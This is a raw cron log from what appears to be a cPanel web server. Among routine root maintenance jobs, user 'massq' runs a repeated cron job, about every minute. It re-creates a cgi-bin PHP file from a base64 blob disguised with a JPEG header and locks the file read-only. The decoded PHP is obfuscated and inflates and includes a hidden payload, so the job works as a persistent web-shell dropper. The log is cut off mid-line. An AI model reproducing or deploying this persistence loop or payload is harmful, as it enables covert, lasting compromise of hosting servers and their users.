Sep  9 00:03:01 server CROND[23593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:03:01 server CROND[23594]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:04:01 server CROND[24056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:04:01 server CROND[24057]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:04:01 server CROND[24058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:05:01 server CROND[24442]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:05:01 server CROND[24444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:05:01 server CROND[24450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:05:01 server CROND[24452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:05:01 server CROND[24454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:05:01 server CROND[24455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 00:05:01 server CROND[24456]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:05:01 server CROND[24457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:06:01 server CROND[25305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:06:01 server CROND[25306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:06:01 server CROND[25308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:07:01 server CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:07:01 server CROND[25676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:07:01 server CROND[25677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:08:01 server CROND[26041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:08:01 server CROND[26043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:08:01 server CROND[26042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:09:01 server CROND[26515]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:09:01 server CROND[26516]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 00:09:01 server CROND[26518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:09:01 server CROND[26517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:10:01 server CROND[26963]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:10:01 server CROND[26967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:10:01 server CROND[26971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 00:10:01 server CROND[26970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:10:01 server CROND[26972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:10:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:10:01 server CROND[26969]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:10:01 server CROND[26973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 00:11:01 server CROND[27801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:11:01 server CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:11:01 server CROND[27803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:12:01 server CROND[28547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:12:01 server CROND[28548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:12:01 server CROND[28546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:12:01 server CROND[28549]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 00:13:01 server CROND[29189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:13:01 server CROND[29188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:13:01 server CROND[29190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:14:01 server CROND[29718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 00:14:01 server CROND[29720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 00:14:01 server CROND[29719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 00:15:01 server CROND[30205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 00:15:01 server CROND[30212]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 00:15:01 server CROND[30213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 00:15:01 server CROND[30216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 00:15:01 server CROND[30225]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 00:15:01 server CROND[30226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCN